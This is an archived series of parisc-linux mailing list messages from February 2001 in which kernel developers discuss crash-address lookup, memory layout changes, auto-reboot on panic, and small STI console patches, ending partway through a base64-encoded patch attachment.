	for <parisc-linux@lists.parisc-linux.org>; Tue, 13 Feb 2001 00:18:13 +0100
X-Authentication-Warning: sgate.charlysworld.de: xam owned process doing -bs
X-Sender: xam@sgate.charlysworld.de
In-Reply-To: <20010212155919.B7969@parcelfarce.linux.theplanet.co.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10236

On Mon, 12 Feb 2001, Matthew Wilcox wrote:

> > On Thu, 8 Feb 2001, Grant Grundler wrote:
> > 
> > > echo 0xe840c000=i | adb   says:
> > > 		BV              r0(r2)
> > > 
> > > GR02 is the most recent subroutine call return addr.
> > > (Typically the caller).
> > > 
> > > So look up c026e458 and c0246328 in your System.map.
> > > You can at least figure out about where it's crashing.

just a copy'n'paste from my System.map:

c026e44c T _gsc_readb
c026e460 T _gsc_readw
c026e474 T _gsc_readl

therefore c026e458 is in _gsc_readb, and:

c02462c4 t parport_PS2_supported
c02463c8 T parport_gsc_probe_port
c024677c T parport_gsc_write_data

 so c0246328 is in parport_PS2_supported!


greetings max






From - Thu Nov 08 21:16:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Large Memory Support changes
Date: Tue, 13 Feb 2001 09:43:36 -0700 (MST)
Lines: 102
Approved: news@gmane.org
Message-ID: <200102131643.JAA11885@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619862 15309 80.91.229.3 (22 Nov 2014 01:31:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:02 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 13 09:45:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 825594A19
	for <parisc-linux@lists.parisc-linux.org>; Tue, 13 Feb 2001 09:45:13 -0700 (MST)
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel1.hp.com (Postfix) with ESMTP id C25F2AD4
	for <parisc-linux@lists.parisc-linux.org>; Tue, 13 Feb 2001 11:43:36 -0500 (EST)
Original-Received: (from jsm@localhost) by udlkern.fc.hp.com (8.8.6 (PHNE_14041)/8.7.3 SMKit7.0) id JAA11885 for parisc-linux@lists.parisc-linux.org; Tue, 13 Feb 2001 09:43:36 -0700 (MST)
Xref: news.gmane.org gmane.linux.ports.parisc:10237

I just committed code that moves PAGE_OFFSET from 0xc0000000 to 0x10000000.
Since the parisc port of Linux uses a separate address space for the kernel,
this does not affect the user address space. In fact, another change I
committed a few days ago makes the full 4Gb (ok, actually 4Gb - 1 Mb)
virtual address space available to a 32 bit process.

For users, this means that parisc linux now supports up to 3.5 Gb of
physical memory. The current design reserves the lower 256 Mb for
mapping space (vmalloc, pcxl dma, temporary flushing aliases, gateway page,
etc). The top 256 Mb are currently set aside for possibly equivalently
mapping the parisc I/O space on a 32 bit kernel. This may not be done,
in which case we can raise the limit on physical memory to 3.75 Gb for
the 32 bit kernel.

Of course, I haven't tested it on any machine that has over 1 Gb, so this
is just theory for now.  Future changes will allow significantly more
physical memory on a 64 bit kernel.

For parisc linux kernel developers, the following changes should be noted:

    1) The LDIL_FIXUP macro is gone! It is no longer necessary,
    since none of the static symbols have the top bit set in their
    address.

    2) It is no longer possible to convert from a physical to virtual
    address (and vice versa) with one assembly instruction.  Another
    register is required to do this operation.  Therefore, the tophys and
    tovirt assembly macro's had to change.  I've provided two versions of
    each one, and each version is implemented using two instructions.  The
    following examples are for the tophys based macros.  The tovirt macros
    are similar:

	a) tophys <virt register>,<phys register>

        This version takes two registers, and they cannot be the same
        register.  This macro might be useful when you still have a use
        for the virtual address, or the register was going to be copied
        anyway.  It also might be the macro to use if you can't afford to
        trash r1 (see below).

	b) tophys_r1 <register>

	This version takes one register (other than r1!). It can
	be used like the old version of tophys, however, this
	version trashes r1. The name is supposed to remind you
	of that side effect.

    3) Note that you may not be able to easily tell kernel adddresses from
    user addresses in register/stack dumps in all cases.  You need to
    check the associated space register to be sure.

    For typically small processes ( < 256 Mb) and machines with < 768 Mb
    of physical memory it still won't be too hard. But the addresses
    will be different than before:

	a) user process text/data/bss variables: No Change

	    These are typically low addresses

	b) user process mapped objects: No Change

	    The default map offset of 0x40000000 hasn't changed

	c) user process stack: Changed

	    Previously user stack addresses were around 0xbb000000,
	    now that will most likely start at 0xfaf00000.

	d) kernel text/data/bss variables: Changed

	    Due to the PAGE_OFFSET change, these have changed
	    from addresses that start at 0xc0100000 to addresses
	    that start at 0x10100000.

	e) kernel stack and other dynamic objects: Changed

	    These can span almost the entire range of kernel
	    virtual memory. They are also affected by the
	    PAGE_OFFSET change.

	f) VMALLOC, pcxl dma mappings, etc.

	    The VMALLOC space is now BELOW PAGE_OFFSET! It is
	    wrong to test addresses against "high_memory" and
	    assume that if they are greater that they must
	    be vmalloc'ed. Note that code that checks against
	    PA(high_memory) might be ok, depending on what
	    is being done. If you need to check if an address
	    is in the VMALLOC space, test against VMALLOC_START
	    and VMALLOC_END. If you need to check if an address
	    is in the normally mapped kernel address space,
	    check against PAGE_OFFSET and high_memory. The
	    mem/kmem driver (drivers/char/mem.c) can be used
	    as an example of how to do this correctly.

Let me know if you have any questions, see any problems, etc.

John Marvin
jsm@fc.hp.com




From - Thu Nov 08 21:16:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg Ingram <ingram@symsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C100 & Latest CVS Bits
Date: Tue, 13 Feb 2001 12:32:01 -0600 (CST)
Lines: 24
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102131225540.14493-100000@maestro.symsys.com>
References: <20010202025203.C32691@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619862 15581 80.91.229.3 (22 Nov 2014 01:31:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:02 +0000 (UTC)
To: Linux/HPPA List <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 13 11:32:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from maestro.symsys.com (maestro.symsys.com [208.223.9.37])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0769B4A19
	for <parisc-linux@parisc-linux.org>; Tue, 13 Feb 2001 11:32:17 -0700 (MST)
Original-Received: from localhost (ingram@localhost)
	by maestro.symsys.com (8.9.3/8.9.3) with ESMTP id MAA14527
	for <parisc-linux@parisc-linux.org>; Tue, 13 Feb 2001 12:32:01 -0600
In-Reply-To: <20010202025203.C32691@parcelfarce.linux.theplanet.co.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10238

Howdy,

The latest CVS bits crater on my C100.  The last two messages are:

VFS: Mounted root (ext2 filesystem).
Warning: unable to open an initial console.

(Which is normal so far.)  Then I get a stack dump, a kernel fault and a
register dump.  As I recall, Grant said the stack dump itself isn't
helpful unless it's a kernel built with the default configuration.  I'd be
happy get that output if it would help.

As a side question, is it possible to have the system automatically reboot
after it encounters these errors?

Cheers,

- Greg







From - Thu Nov 08 21:16:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C100 & Latest CVS Bits
Date: Tue, 13 Feb 2001 11:46:34 -0800
Lines: 27
Approved: news@gmane.org
Message-ID: <200102131946.LAA10733@milano.cup.hp.com>
References: <Pine.LNX.4.21.0102131225540.14493-100000@maestro.symsys.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619862 15582 80.91.229.3 (22 Nov 2014 01:31:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:02 +0000 (UTC)
Cc: Linux/HPPA List <parisc-linux@parisc-linux.org>
To: Greg Ingram <ingram@symsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 13 12:44:07 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from palrel3.hp.com (palrel3.hp.com [156.153.255.226])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4FAF84A19
	for <parisc-linux@parisc-linux.org>; Tue, 13 Feb 2001 12:44:07 -0700 (MST)
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id 7032A8CE; Tue, 13 Feb 2001 11:44:06 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id LAA10733;
	Tue, 13 Feb 2001 11:46:45 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 13 Feb 2001 12:32:01 PST."
             <Pine.LNX.4.21.0102131225540.14493-100000@maestro.symsys.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:10239

Greg Ingram wrote:
> As I recall, Grant said the stack dump itself isn't
> helpful unless it's a kernel built with the default configuration.

I can't (or won't) help with stack/register dumps unless they are built
with default config. That's different than saying they aren't helpful.
The problem is the symbols are what's interesting to me and I can't
determine them unless the bits match what's in a source tree I have.

I guess it's time we put together a "PARISC Kernel Debugging HOW-TO
for Dummies". ie how to look up symbols, explain TOC (and HPMC), how
to get/decode TOC/HPMC dumps, etc.

> As a side question, is it possible to have the system automatically reboot
> after it encounters these errors?

It can. There's a global variable someplace that is *disabled* by default.
If someone can just remember the global's name...

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:16:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg Ingram <ingram@symsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C100 & Latest CVS Bits
Date: Tue, 13 Feb 2001 14:16:58 -0600 (CST)
Lines: 49
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102131358430.14806-100000@maestro.symsys.com>
References: <200102131946.LAA10733@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619863 15586 80.91.229.3 (22 Nov 2014 01:31:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:03 +0000 (UTC)
Cc: Linux/HPPA List <parisc-linux@parisc-linux.org>
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 13 13:20:18 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from maestro.symsys.com (maestro.symsys.com [208.223.9.37])
	by dsl2.external.hp.com (Postfix) with ESMTP id 162BF4A19
	for <parisc-linux@parisc-linux.org>; Tue, 13 Feb 2001 13:20:18 -0700 (MST)
Original-Received: from localhost (ingram@localhost)
	by maestro.symsys.com (8.9.3/8.9.3) with ESMTP id OAA14909;
	Tue, 13 Feb 2001 14:16:58 -0600
In-Reply-To: <200102131946.LAA10733@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10240

All good news!

On Tue, 13 Feb 2001, Grant Grundler wrote:

> Greg Ingram wrote:
> > As I recall, Grant said the stack dump itself isn't
> > helpful unless it's a kernel built with the default configuration.
> 
> I can't (or won't) help with stack/register dumps unless they are built
> with default config. That's different than saying they aren't helpful.
> The problem is the symbols are what's interesting to me and I can't
> determine them unless the bits match what's in a source tree I have.

I understand.  I've rebuilt from clean with the default config and... 
[Gulp!]  I guess another reason to use the default config is to ensure
that I haven't done something rash with my config.  Here's the end of the
session now:

	Starting internet superserver: inetd.
 
	Debian GNU/Linux 2.2 apollos ttyS0
 
	apollos login:  

I'd also made /dev/console -> /dev/ttyS0.  No log to follow.  :)
 
> I guess it's time we put together a "PARISC Kernel Debugging HOW-TO
> for Dummies". ie how to look up symbols, explain TOC (and HPMC), how
> to get/decode TOC/HPMC dumps, etc.

Dummies?!  Ack!  Phfft!  Tyros, neophytes, novices, even newbies.  But
please do.  
 
> > As a side question, is it possible to have the system automatically reboot
> > after it encounters these errors?
> 
> It can. There's a global variable someplace that is *disabled* by default.
> If someone can just remember the global's name...

Anybody?  I have to make that *long* walk through the accounting office
just to power-cycle the beast.  

- Greg







From - Thu Nov 08 21:16:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] small STI patch
Date: Tue, 13 Feb 2001 22:17:05 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <01021322170500.01835@P100.helgenet.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619863 15596 80.91.229.3 (22 Nov 2014 01:31:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:03 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 13 14:16:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.net [194.221.183.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 7DD7A4A19
	for <parisc-linux@parisc-linux.org>; Tue, 13 Feb 2001 14:16:20 -0700 (MST)
Original-Received: (qmail 15747 invoked by uid 0); 13 Feb 2001 21:16:18 -0000
Original-Received: from pd9040347.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.3.71)
  by mail.gmx.net (mail01) with SMTP; 13 Feb 2001 21:16:18 -0000
X-Mailer: KMail [version 1.2]
Xref: news.gmane.org gmane.linux.ports.parisc:10241

Hi,

I've just committed a small patch, which saves us to copy a whole struct from 
the STI ROM just to get one value (the ROM size) out of it.

Helge

--- sticon-wmode.c      2001/02/04 21:22:59     1.3
+++ sticon-wmode.c      2001/02/13 20:56:54     1.4
@@ -119,13 +119,9 @@
        if (!(raw && cooked))
                goto out_err;
 
-       /* copy raw rom header & get the real size */
-       sti_rom_copy(address, 0, sizeof(*raw), raw);
-       wmode_sti_dump_rom(raw);
-       size = raw->last_addr;
-       kfree(raw);
+       /* read the ROM size directly from the struct in ROM */
+       size = gsc_readl(address + offsetof(struct sti_rom,last_addr));
 
-       /* now copy raw rom with real size */
        raw = kmalloc(size, GFP_KERNEL);
        if(!raw)
                goto out_err;




From - Thu Nov 08 21:16:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] small STI patch
Date: Tue, 13 Feb 2001 21:32:39 +0000
Lines: 12
Approved: news@gmane.org
Message-ID: <20010213213239.E7969@parcelfarce.linux.theplanet.co.uk>
References: <01021322170500.01835@P100.helgenet.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619863 15603 80.91.229.3 (22 Nov 2014 01:31:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:03 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 13 14:32:53 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 56E644A19
	for <parisc-linux@parisc-linux.org>; Tue, 13 Feb 2001 14:32:53 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14Sn3v-0007jf-00; Tue, 13 Feb 2001 21:32:39 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <01021322170500.01835@P100.helgenet.de>; from deller@gmx.de on Tue, Feb 13, 2001 at 10:17:05PM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10242

On Tue, Feb 13, 2001 at 10:17:05PM +0100, Helge Deller wrote:
> I've just committed a small patch, which saves us to copy a whole struct from 
> the STI ROM just to get one value (the ROM size) out of it.

But we leak a kmalloc'd buffer.  you need to remove the prior kmalloc
assigned to raw.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] small STI patch
Date: Tue, 13 Feb 2001 22:46:50 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <01021322465001.01835@P100.helgenet.de>
References: <01021322170500.01835@P100.helgenet.de> <20010213213239.E7969@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619864 15606 80.91.229.3 (22 Nov 2014 01:31:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:04 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 13 14:44:54 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.net [194.221.183.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 037C24A19
	for <parisc-linux@parisc-linux.org>; Tue, 13 Feb 2001 14:44:53 -0700 (MST)
Original-Received: (qmail 18661 invoked by uid 0); 13 Feb 2001 21:44:50 -0000
Original-Received: from pd9040347.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.3.71)
  by mail.gmx.net (mail09) with SMTP; 13 Feb 2001 21:44:50 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <20010213213239.E7969@parcelfarce.linux.theplanet.co.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10243

On Tuesday 13 February 2001 22:32, Matthew Wilcox wrote:
> On Tue, Feb 13, 2001 at 10:17:05PM +0100, Helge Deller wrote:
> > I've just committed a small patch, which saves us to copy a whole struct
> > from the STI ROM just to get one value (the ROM size) out of it.
>
> But we leak a kmalloc'd buffer.  you need to remove the prior kmalloc
> assigned to raw.

Yes, you're right.
I've just committed the following patch.

Helge

diff -u -r1.4 sticon-wmode.c
--- sticon-wmode.c      2001/02/13 20:56:54     1.4
+++ sticon-wmode.c      2001/02/13 21:38:18
@@ -110,13 +110,11 @@
 wmode_sti_read_rom(struct sti_struct *sti, unsigned long address, unsigned 
long hpa)
 {
        struct sti_cooked_rom *cooked;
-       struct sti_rom *raw;
+       struct sti_rom *raw = NULL;
        unsigned long size;
 

From - Thu Nov 08 21:16:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steven Pritchard <steve@silug.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C100 & Latest CVS Bits
Date: Tue, 13 Feb 2001 16:46:21 -0600 (CST)
Lines: 45
Approved: news@gmane.org
Message-ID: <200102132246.f1DMkL801323@osiris.silug.org>
References: <Pine.LNX.4.21.0102131358430.14806-100000@maestro.symsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619864 15611 80.91.229.3 (22 Nov 2014 01:31:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:04 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Greg Ingram <ingram@symsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 13 15:46:28 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from osiris.silug.org (osiris.lanscape.net [64.240.156.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 68B414A19
	for <parisc-linux@parisc-linux.org>; Tue, 13 Feb 2001 15:46:28 -0700 (MST)
Original-Received: (from steve@localhost)
	by osiris.silug.org (8.11.0/8.11.0) id f1DMkL801323;
	Tue, 13 Feb 2001 16:46:21 -0600
In-Reply-To: <Pine.LNX.4.21.0102131358430.14806-100000@maestro.symsys.com>
 "from Greg Ingram at Feb 13, 2001 02:16:58 pm"
X-Mailer: ELM [version 2.4ME+ PL77 (25)]
Original-Sender: steve@osiris.silug.org
Xref: news.gmane.org gmane.linux.ports.parisc:10244

Greg Ingram said:
> On Tue, 13 Feb 2001, Grant Grundler wrote:
> > Greg Ingram wrote:
> > > As a side question, is it possible to have the system automatically reboot
> > > after it encounters these errors?
> > 
> > It can. There's a global variable someplace that is *disabled* by default.
> > If someone can just remember the global's name...
> 
> Anybody?  I have to make that *long* walk through the accounting office
> just to power-cycle the beast.  

Does rebooting with sysrq work?  (I've never actually tried it over a
serial console, but I seem to recall that you can send a break, then
"b".)

Actually, will that work, or do you have to turn on sysrq via /proc
after booting?

Oh, wait, it looks like you can pass "panic=1" as a kernel parameter. 
That should have the same effect as "echo 1 > /proc/sys/kernel/panic"
(or adding "kernel.panic = 1" to /etc/sysctl.conf and running "sysctl
-p") on a running system.

Documentation/sysctl/kernel.txt says the following:

    panic:

    The value in this file represents the number of seconds the
    kernel waits before rebooting on a panic. When you use the
    software watchdog, the recommended setting is 60.

The default value is 0, which disables the feature, IIRC.  (This is
from memory, so I could easily be wrong.)

I hope this trip through my faulty memory is helpful...  ;-)

Steve
-- 
steve@silug.org           | Southern Illinois Linux Users Group
(618)398-7320             | See web site for meeting details.
Steven Pritchard          | http://www.silug.org/




From - Thu Nov 08 21:16:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] byte-mode STI sync-up with word-mode STI
Date: Wed, 14 Feb 2001 00:25:36 +0100
Lines: 231
Approved: news@gmane.org
Message-ID: <01021400244002.01835@P100.helgenet.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  charset="iso-8859-1";
  boundary="------------Boundary-00=_OEYPOZ9VOG491GDHLIGZ"
X-Trace: ger.gmane.org 1416619864 15615 80.91.229.3 (22 Nov 2014 01:31:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:04 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 13 16:23:08 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.net [194.221.183.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 2C7564A19
	for <parisc-linux@parisc-linux.org>; Tue, 13 Feb 2001 16:23:07 -0700 (MST)
Original-Received: (qmail 8859 invoked by uid 0); 13 Feb 2001 23:23:03 -0000
Original-Received: from pd9040347.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.3.71)
  by mail.gmx.net (mail10) with SMTP; 13 Feb 2001 23:23:03 -0000
X-Mailer: KMail [version 1.2]
Xref: news.gmane.org gmane.linux.ports.parisc:10245

--------------Boundary-00=_OEYPOZ9VOG491GDHLIGZ
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit

Hi,

I've just checked in a large patch (see attachment), which mostly syncs 
byte-mode STI up with word-mode STI.
You should note, that I can't currently test any of theese changes, since I 
don't have such a machine. If your machine has byte-mode STI ROM and you test 
this code, please send me some feedback.

The other parts of this patch just remove an unused parameter from 
sti_rom_copy() and fixes a compiler-warning in stifb.c.

btw, stifb will still not work :-(

Greetings,

	Helge

--------------Boundary-00=_OEYPOZ9VOG491GDHLIGZ
Content-Type: text/x-c;
  charset="iso-8859-1";
  name="xxx"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="xxx"

PyB4eHgKSW5kZXg6IHN0aWNvbi1ibW9kZS5jCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KUkNTIGZpbGU6IC9ob21lL2N2
cy9wYXJpc2MvbGludXgvZHJpdmVycy92aWRlby9zdGkvc3RpY29uLWJtb2RlLmMsdgpyZXRyaWV2
aW5nIHJldmlzaW9uIDEuMwpkaWZmIC11IC1yMS4zIHN0aWNvbi1ibW9kZS5jCi0tLSBzdGljb24t
Ym1vZGUuYwkyMDAxLzAyLzAzIDAxOjI0OjU1CTEuMworKysgc3RpY29uLWJtb2RlLmMJMjAwMS8w
Mi8xMyAyMzowNzowOQpAQCAtMTA2LDYyICsxMDYsNjcgQEAKIAlyZXR1cm4gdmlydF90b19waHlz
KHJldCk7CiB9CiAKKworc3RhdGljIGludCBfX2luaXQgCitibW9kZV9zdGlfc2VhcmNoX2ZvbnQo
c3RydWN0IHN0aV9jb29rZWRfcm9tICpyb20sIGludCBoZWlnaHQsIGludCB3aWR0aCkKK3sKKwlz
dHJ1Y3Qgc3RpX2Nvb2tlZF9mb250ICpmb250OworCWludCBpID0gMDsKIAkKLS8qIGFkZHJlc3Mg
aXMgYSBwb2ludGVyIHRvIGEgYnl0ZSBtb2RlIG9yIHBjaSByb20gKi8KLXN0cnVjdCBzdGlfc3Ry
dWN0ICogX19pbml0IAotYm1vZGVfc3RpX3JlYWRfcm9tKHVuc2lnbmVkIGxvbmcgYWRkcmVzcykK
Kwlmb3IoZm9udCA9IHJvbS0+Zm9udF9zdGFydDsgZm9udDsgZm9udCA9IGZvbnQtPm5leHRfZm9u
dCwgaSsrKSB7CisJICAgIGlmKChTVElfVTgoZm9udC0+cmF3LT53aWR0aCkgPT0gd2lkdGgpICYm
IChTVElfVTgoZm9udC0+cmF3LT5oZWlnaHQpID09IGhlaWdodCkpCisJCQlyZXR1cm4gaTsKKwl9
CisJcmV0dXJuIDA7Cit9CisKKwkKK3N0cnVjdCBzdGlfc3RydWN0ICogX19pbml0CitibW9kZV9z
dGlfcmVhZF9yb20oc3RydWN0IHN0aV9zdHJ1Y3QgKnN0aSwgdW5zaWduZWQgbG9uZyBhZGRyZXNz
LCB1bnNpZ25lZCBsb25nIGhwYSkKIHsKLQlzdHJ1Y3Qgc3RpX3N0cnVjdCAqcmV0ID0gTlVMTDsK
LQlzdHJ1Y3Qgc3RpX2Nvb2tlZF9yb20gKmNvb2tlZCA9IE5VTEw7CisJc3RydWN0IHN0aV9jb29r
ZWRfcm9tICpjb29rZWQ7CiAJc3RydWN0IHN0aV9yb20gKnJhdyA9IE5VTEw7CiAJdW5zaWduZWQg
bG9uZyBzaXplOwotCi0JcmV0ID0gJmRlZmF1bHRfc3RpOwotCi0JaWYoIXJldCkKLQkJZ290byBv
dXRfZXJyOwotCisJc3RpX3UzMiBzaXpldG1wOworCQkJCSAKIAljb29rZWQgPSBrbWFsbG9jKHNp
emVvZiAqY29va2VkLCBHRlBfS0VSTkVMKTsKLQlyYXcgPSBrbWFsbG9jKHNpemVvZiAqcmF3LCBH
RlBfS0VSTkVMKTsKLQkKLQlpZighKHJhdyAmJiBjb29rZWQpKQorCWlmICghY29va2VkKQogCQln
b3RvIG91dF9lcnI7Ci0KLQkvKiByZWFsbG9jYXRlIHJhdyAqLwotCXN0aV9yb21fY29weShhZGRy
ZXNzLCAwLCBzaXplb2YgKnJhdywgcmF3KTsKKwkJCisJc3RpX3JvbV9jb3B5KGFkZHJlc3MgKyBv
ZmZzZXRvZihzdHJ1Y3Qgc3RpX3JvbSxsYXN0X2FkZHIpLAorCQlzaXplb2Yoc2l6ZXRtcCksICZz
